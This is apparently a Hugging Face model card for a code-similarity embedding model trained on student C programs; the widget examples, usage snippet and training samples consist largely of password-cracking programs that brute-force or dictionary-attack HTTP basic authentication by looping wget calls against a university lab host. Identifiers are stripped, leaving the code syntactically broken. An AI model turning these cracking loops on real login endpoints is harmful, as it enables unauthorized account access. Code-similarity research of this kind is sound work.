    \   char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE], passwd[MAX_SIZE];\n \
    \  char fin;\n   \n   strcpy(string1,\"wget http://sec-crack.cs.rmit.edu./SEC/2/\"\
    );\n   strcpy(string2,\" --http-user= --http-passwd='\");\n   strcpy(,\"\");\n\
    \n   while ((fin = fgetc(fp)) != EOF)\n   {\n      cnt = 0;\n      \n      for\
    \ (i=0;i<MAX_SIZE;i++)\n      {   \n         passwd[i] = '\\0';\n         [i]\
    \ = '\\0';\n      }\n\t \n      while(fin != '\\n')\n      {\n\t passwd[cnt] =\
    \ fin;\n\t cnt++;\n\t fin = fgetc(fp);\n      } \n         \n      if(strlen(passwd)\
    \ <= 3)\n      {\n         strcat(, string1);\n         strcat(, string2);\n\t\
    \ strcat(, passwd);\n\t strcat(, \"'\");\n\t printf(\"Sending Request as %s\\\
    n\",);\n\t flag = system();\n\t  \n         if (flag == 0)\n\t {\n           \
    \ printf(\"\\nPassword is %s\\n\",passwd);\n\t    return 1;\n\t }\n         \n\
    \t strcpy(,\"\"); \n         strcpy(passwd,\"\");\n       }\n    }\n}  \n\n\n\
    int  (int argc, char *argv[])\n{\n   char *fname;\n   FILE *fp;\n   \n   int ,\
    \ end;    \n   \n    = time();\n    \n   if (argc != 2)\n   {\n      fprintf(stdout,\"\
    Usage : ./Dictionary <dictionary>\\n\");\n      return(EXIT_FAILURE);\n   }\n\
    \   \n   fname = argv[1];\n   \n   if((fp = fopen(fname, \"r\")) == NULL)\n  \
    \ {\n      fprintf(stderr,\"Error : Failed  open %s for . \\n\",fname);\n    \
    \  return(EXIT_FAILURE);\n   }\n   \n   CrackPasswd(fp);\n  \n   end = time();\
    \ \n   printf(\"Time Required = %lld msec\\n\",(end-)/());\n   return (EXIT_SUCCESS);\n\
    \  \n}\n     \n\t   \n\t  \t\n"
- source_sentence: "\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n\
    #include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char\
    \ *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n\
    \   \n   \n   strcpy(str1,\"wget --http-user= --http-passwd=\");\n   strcpy(str2,\"\
    \ http://sec-crack.cs.rmit.edu./SEC/2/\");\n   strcpy(tempstr,\"\");\n\n\n\n \
    \  for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n\
    \      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf(\"SENDING\
    \ REQUEST AS %s\\n\",tempstr);\n      success=system (tempstr);\n      if (success==0)\n\
    \       return 1;\n      else\n       strcpy(tempstr,\"\"); \n       strcpy(passwd,\"\
    \");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n\
    \      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n\
    \         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf(\"\
    SENDING REQUEST AS %s\\n\",tempstr);\n         success=system (tempstr);\n   \
    \      if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,\"\
    \"); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n   \
    \   passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\
    \         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n\
    \            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n    \
    \        printf(\"SENDING REQUEST AS %s\\n\",tempstr);\n            success=system\
    \ (tempstr);\n            if (success==0)\n              return 1;\n         \
    \   else\n              strcpy(tempstr,\"\"); \n\t  }    \n       }     \n   \
    \  }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n\
    \     int i,success;\n     char ch='a';\n\n\n     \n     int , end;    \n    \
    \  = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]='\\0';\n\
    \      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\
    \t  ch++;\n      }\n      ch='A';  \n     for (i=26;i<52;i++)\n      {\n     \
    \     chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n\
    \      printf(\"\\nPassword is %s\\n\",passwd); \n      getpid();\n      end =\
    \ time(); \n      printf(\"Time required = %lld msec\\n\",(end-)/());\n     return\
    \ (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n"
  sentences:
  - "#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n\
    #include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n\
    \ char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'};\n\
    time_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,\"wget --http-user= --http-passwd=\"\
    );\n strcpy(temp2,\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n \n for(m=0;m<=51;m++)\n\
    \ {\n   v[0]=[m]; \n   v[1]='\\0';\n   v[2]='\\0';\n   strcpy(URL,v); \n   printf(\"\
    \\nTesting with password %s\\n\",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n\
    \   strcat(temp3,temp2);\n   printf(\"\\nSending the  %s\\n\",temp3);\n   i=system(temp3);\
    \ \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf(\"\\n The password\
    \ is %s\\n\",URL);\n\t printf(\"\\n\\nThe time_var taken  crack the password is\
    \  %d  second\\n\\n\",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\
    \tstrcpy(temp3,\"\");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n\
    \   v[2]='\\0';\n   strcpy(URL,v); \n   printf(\"\\nTesting with password %s\\\
    n\",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n\
    \   printf(\"\\nSending the  %s\\n\",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n\
    \   \t{\n\t (void) time(&u2); \n\t printf(\"\\n The password is %s\\n\",URL);\n\
    \t printf(\"\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n\"\
    ,(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,\"\");\n\
    \t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n\
    \   strcpy(URL,v); \n   printf(\"\\nTesting with password %s\\n\",URL);\n   strcat(temp3,temp1);\n\
    \   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf(\"\\nSending the  %s\\\
    n\",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2);\
    \ \n\t printf(\"\\n The password is %s\\n\",URL);\n\t printf(\"\\n\\nThe time_var\
    \ taken  crack the password is  %d  second\\n\\n\",(int)(u2-u1));\n     \t exit(0);\n\
    \   \t} \n\telse\n\t{\n\tstrcpy(temp3,\"\");\n\t}\n   \n   \n   }\n  }\n }  \n\
    \  \n}  \n"
  - "\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n\
    #include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\n\
    char b[53]=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n\nint i,j,k,count=0;\n\
    int  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n\
    {\n\t\n\tm[0]=b[i];\n\tm[1]='\\0';\n\tstrcpy(c,m);\n\tprintf(\"%s \\n\",c);\n\t\
    for(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]='\\0';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\
    \tprintf(\"%s \\n\",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf(\"\
    ATTEMPT :%d\\n\",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]='\\0';\n\t\tstrcpy(c2,c1);\n\
    \t\tstrcat(c2,m);\n\nstrcpy(a,\"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php\
    \ --http-user= --http-passwd=\");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\
    \t\t{\n\t\tprintf(\"Congratulations!!!!BruteForce Attack Successful\\n\");\n\t\
    \tprintf(\"***********************************************\\n\");\n\t\tprintf(\"\
    The Password is %s\\n\",c2);\n\t\tprintf(\"The Request sent is %s\\n\",a); \n\
    \                end_time = time();\n                total_time = (end_time -start_time);\n\
    \                total_time /= 1000000000.0;\n                printf(\"The Time\
    \ Taken is : %llds\\n\",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\
    \t\n\t}\n\n}\n}\nreturn 0;\n}\n"
  - "#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<strings.h>\n\
    #include <ctype.h>\n#include <math.h>\n#include <sys/time.h>\n\nint\n()\n{\n\n\
    \tint        , end;\n\tFILE           *fp;\n\tint             i, j;\n\tchar  \
    \          input;\n\tchar            password[30];\n\tint             check;\n\
    \n\tfloat           total_time;\n\tint             number;\n\t = time();\n\n\n\
    \tif ((fp = fopen(\"words\", \"r\")) == NULL) {\n\t\tfprintf(stderr, \"Error :\
    \ Failed  open words for .\\n\");\n\t\treturn (EXIT_FAILURE);\n\t}\n\twhile ((input\
    \ = fgetc(fp)) != EOF) {\n\t\tj = 0;\n\t\tfor (i = 0; i < 30; i++)\n\t\t\tpassword[i]\
    \ = '\\0';\n\n\t\twhile(input != '\\n' ) {\n\n\t\t\tpassword[j] = input;\n\t\t\
    \tj++;\n\t\t\tinput = fgetc(fp);\n\t\t\t\n\t\t\n\t\t}\n\n\n\t\tif (strlen(password)\
    \ <= 3) {\n\t\t\tprintf(\"%s\\t\",password);\n\t\t\tfflush(stdout);\n\t\t\tcheck\
    \ = SysCall(password);\n\t\t\tif (check == 0) {\n\t\t\t\tgetpid();\n\t\t\t\tend\
    \ = time();\n\t\t\t\ttotal_time = (end - ) / 1e9;\n\t\t\t\tprintf(\"\\ntotal time_var\
    \ = %f \", total_time);\n\t\t\t\tprintf(\"\\n\\nAvg getpid() time_var = %f usec\\\
    n\", total_time);\n\t\t\t\tprintf(\"\\navg time_var  %f / %d = %f\\n\", total_time,\
    \ number, total_time / number);\n\t\t\t\texit(0);\n\t\t\t}\n\t\t}\n\n\t}\n\n\t\
    return (EXIT_SUCCESS);\n}\nint\nSysCall(char *password)\n{\n\tchar           \
    \ url1[255], url2[255], [255];\n\tint             rettype;\n\trettype = 0;\n\t\
    strcpy(url1, \"wget --non-verbose --http-user= --http-passwd=\");\n\tstrcpy(url2,\
    \ \" http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\n\tstrcat(, url1);\n\t\
    strcat(, password);\n\tstrcat(, url2);\n\n\trettype = system();\n\t\n\tif (rettype\
    \ == 0) {\n\t\tprintf(\"Successfully retrieved password: %s\\n\", password);\n\
    \t\treturn 0;\n\t}\n\tstrcpy(, \"\");\n}\n"
pipeline_tag: sentence-similarity
library_name: sentence-transformers
---

# SentenceTransformer based on microsoft/unixcoder-base-unimodal

This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal). It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

## Model Details

### Model Description
- **Model Type:** Sentence Transformer
- **Base model:** [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal) <!-- at revision c6b7b85380bf4e01309a3cf5e4f686433764d923 -->
- **Maximum Sequence Length:** 512 tokens
- **Output Dimensionality:** 768 dimensions
- **Similarity Function:** Cosine Similarity
<!-- - **Training Dataset:** Unknown -->
<!-- - **Language:** Unknown -->
<!-- - **License:** Unknown -->

### Model Sources

- **Documentation:** [Sentence Transformers Documentation](https://sbert.net)
- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers)
- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers)

### Full Model Architecture

```
SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
```

## Usage

### Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

```bash
pip install -U sentence-transformers
```

Then you can load this model and run inference.
```python
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-UniXcoder-ST-0")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9111, 0.9288],
#         [0.9111, 1.0000, 0.9562],
#         [0.9288, 0.9562, 1.0000]])
```

<!--
### Direct Usage (Transformers)

<details><summary>Click to see the direct usage in Transformers</summary>

</details>
-->

<!--
### Downstream Usage (Sentence Transformers)

You can finetune this model on your own dataset.

<details><summary>Click to expand</summary>

</details>
-->

<!--
### Out-of-Scope Use

*List how the model may foreseeably be misused and address what users ought not to do with the model.*
-->

<!--
## Bias, Risks and Limitations

*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.*
-->

<!--
### Recommendations

*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.*
-->

## Training Details

### Training Dataset

#### Unnamed Dataset

* Size: 3,081 training samples
* Columns: <code>sentence_0</code>, <code>sentence_1</code>, and <code>label</code>
* Approximate statistics based on the first 1000 samples:
  |         | sentence_0                                                                            | sentence_1                                                                            | label                                          |
  |:--------|:--------------------------------------------------------------------------------------|:--------------------------------------------------------------------------------------|:-----------------------------------------------|
  | type    | string                                                                                | string                                                                                | int                                            |
  | details | <ul><li>min: 177 tokens</li><li>mean: 436.43 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 177 tokens</li><li>mean: 421.53 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>0: ~99.20%</li><li>1: ~0.80%</li></ul> |
* Samples:
  | sentence_0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | sentence_1                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | label          |
  |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------|
  | <code><br><br><br><br><br><br>#include <sys/stat.h><br>#include <stdio.h><br>#include <stdlib.h><br>#include <string.h><br>#include <sys/time.h><br><br>#define MSG_FILE "msg"<br>#define EMAIL_TO "@cs.rmit.edu."<br>#define TRUE 1<br>#define FALSE 0<br><br><br>void genLog(char *logFile, const char *URL);<br>void getPage(const char *URL, const char *fname);<br>int getCurTime();<br>int logDiff(const char *logFile, int time);<br>int isFileExist(const char *fname);<br>void sendMail(const char* emailTo, const char* subject, const char* msgFile<br>				, const char* log);<br><br>int (int argc, char **argv)<br>{<br>	int time_var;<br>	char *URL;<br>	int upTime = 0;<br>	char logFile[256];<br>	int logSent = FALSE;<br>	char subject[256];<br>	<br>	if (argc != 3)<br>	{<br>		fprintf(stderr, "\nUsage: ./WatchDog URL timeIntervalInSec\n");<br>		exit(1);<br>	}<br>	else<br>	{<br>		time_var = atoi(argv[2]);<br><br>		URL = malloc(strlen(argv[1]));<br><br>		if (URL)<br>		{<br>			for (;;) <br>			{<br>				if (((int)difftime(upTime, getCurTime()) % time_var == 0) <br>								&& !logSent)<br>				{<br>					strncpy(URL, argv[1], strlen(argv[1]));<br>					genLog(logFile, URL);<br>			...</code> | <code>#include <string.h><br>#include <stdlib.h><br>#include <stdio.h><br>#include <fcntl.h><br>#include <unistd.h><br>#include <sys/wait.h><br>#include <sys/time.h><br><br><br><br>char* joinMe(char* t, char* t2)<br>{<br>	char* result;<br>	int length = 0;<br>	int j = 0;<br>	int counter = 0;<br>	<br>	length = strlen(t) + strlen(t2) + 1;<br>	<br>	result = malloc(sizeof(char) * length);<br>	<br>	<br>	for(j = 0; j<strlen(t); j++)<br>	{<br>		result[j] = t[j];<br>	}<br><br>	<br>	for(j = strlen(t); j<length; j++)<br>	{<br>		result[j] = t2[counter];<br>		counter++;<br>	}<br>	<br>	<br>	result[length-1] = '\0';<br><br>	return result;<br>}<br><br><br>void check(char** smallcmd)<br>{<br>	int pid = 0;<br>	int status;<br><br>	<br>	if( (pid = fork()) == 0)<br>	{<br>		<br>		execvp(smallcmd[0],smallcmd);<br>	}<br>	else<br>	{<br>		<br>		while(wait(&status) != pid);<br>	}<br>}<br><br>int (void)<br>{<br>	int i = 0, j = 0, k = 0;<br>	char** smallcmd;<br>	int count = 0;<br>	FILE *myFile,*myFile2,*myFile3;<br>	int compare1;<br>	char* myString;<br>	int length = 0;<br>	int start1, end1;<br>	<br>	<br>	myString = malloc(sizeof(char) * 100);<br>	smallcmd = malloc(sizeof(char *) * 8);<br>	<br>	smallcmd[0] = "/usr/local//wget";<br>	<br>	smallcm...</code> | <code>0</code> |
  | <code><br><br><br><br><br><br>#include <sys/stat.h><br>#include <stdio.h><br>#include <stdlib.h><br>#include <string.h><br>#include <sys/time.h><br><br>#define MSG_FILE "msg"<br>#define EMAIL_TO "@cs.rmit.edu."<br>#define TRUE 1<br>#define FALSE 0<br><br><br>void genLog(char *logFile, const char *URL);<br>void getPage(const char *URL, const char *fname);<br>int getCurTime();<br>int logDiff(const char *logFile, int time);<br>int isFileExist(const char *fname);<br>void sendMail(const char* emailTo, const char* subject, const char* msgFile<br>				, const char* log);<br><br>int (int argc, char **argv)<br>{<br>	int time_var;<br>	char *URL;<br>	int upTime = 0;<br>	char logFile[256];<br>	int logSent = FALSE;<br>	char subject[256];<br>	<br>	if (argc != 3)<br>	{<br>		fprintf(stderr, "\nUsage: ./WatchDog URL timeIntervalInSec\n");<br>		exit(1);<br>	}<br>	else<br>	{<br>		time_var = atoi(argv[2]);<br><br>		URL = malloc(strlen(argv[1]));<br><br>		if (URL)<br>		{<br>			for (;;) <br>			{<br>				if (((int)difftime(upTime, getCurTime()) % time_var == 0) <br>								&& !logSent)<br>				{<br>					strncpy(URL, argv[1], strlen(argv[1]));<br>					genLog(logFile, URL);<br>			...</code> | <code>#include<stdio.h><br>#include<stdlib.h><br>#include <sys/types.h><br>#include <unistd.h><br>#include <sys/time.h><br><br>int ()<br>{<br> char lc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";<br> char uc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";<br> char gc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";<br> int a=0,b=0,c=0,d,e,count=0;<br> char [100],temp1[100],temp2[100],temp3[100],temp4[10],temp5[50],p[100],q[50],r[50];<br> char result,result1,result2,mx[100],mx1,mx2,mx3,mx4;<br> <br> int  ,end,t;<br>  = time(); <br>while(sizeof(lc)!=52)<br>{<br>     temp2[0]=lc[d];<br>     temp2[1]='\0';<br>     d=d+1;<br>     strcpy(p,temp2);<br>   <br>   while(sizeof(uc)!=52)<br>   {<br>      temp3[0]=uc[b];<br>      temp3[1]='\0';<br>      b=b+1;<br>      strcpy(q,p);<br>      strcat(q,temp3);<br>    for(e=0;e<52;e++)<br>    {<br>        temp1[0]=gc[e];<br>	temp1[1]='\0';<br>	strcpy(r,q);<br>	strcat(r,temp1);<br>       strcpy(mx,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd=");<br>       strcat(mx,r);<br>       printf("temp3=%s\n",mx);<br>       if(sy...</code>                                                                                                             | <code>0</code> |
  | <code>#include<stdio.h><br>#include<stdlib.h><br>#include<unistd.h><br>#define TRUE 0<br>()<br>{<br>FILE *fp;<br>system("rmdir ./www.cs.rmit.edu.");<br>char chk[1];<br>strcpy(chk,"n");<br>  while(1)<br>  {<br>       <br>   	system("wget -p http://www.cs.rmit.edu./students/");<br>		<br>		system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./text1.txt");<br>		<br>		<br>		if (strcmp(chk,"n")==0)		<br>		{		<br>		system("mv ./www.cs.rmit.edu./text1.txt   ./text2.txt");<br>		system("mkdir ./");<br>		<br>		system("mv ./www.cs.rmit.edu./students/index.html ./");<br>		}<br>		else<br>		{<br>		<br>		<br>		system(" diff ./www.cs.rmit.edu./students/index.html .//index.html | mail @cs.rmit.edu. ");<br>		system(" diff ./www.cs.rmit.edu./text1.txt ./text2.txt | mail @cs.rmit.edu. ");<br>		system("mv ./www.cs.rmit.edu./students/index.html ./");<br>		system("mv ./www.cs.rmit.edu./text1.txt   ./text2.txt");				<br>		}<br>		sleep(86400);<br>		strcpy(chk,"y");<br>		<br>	}<br>}		    	      <br>      <br>  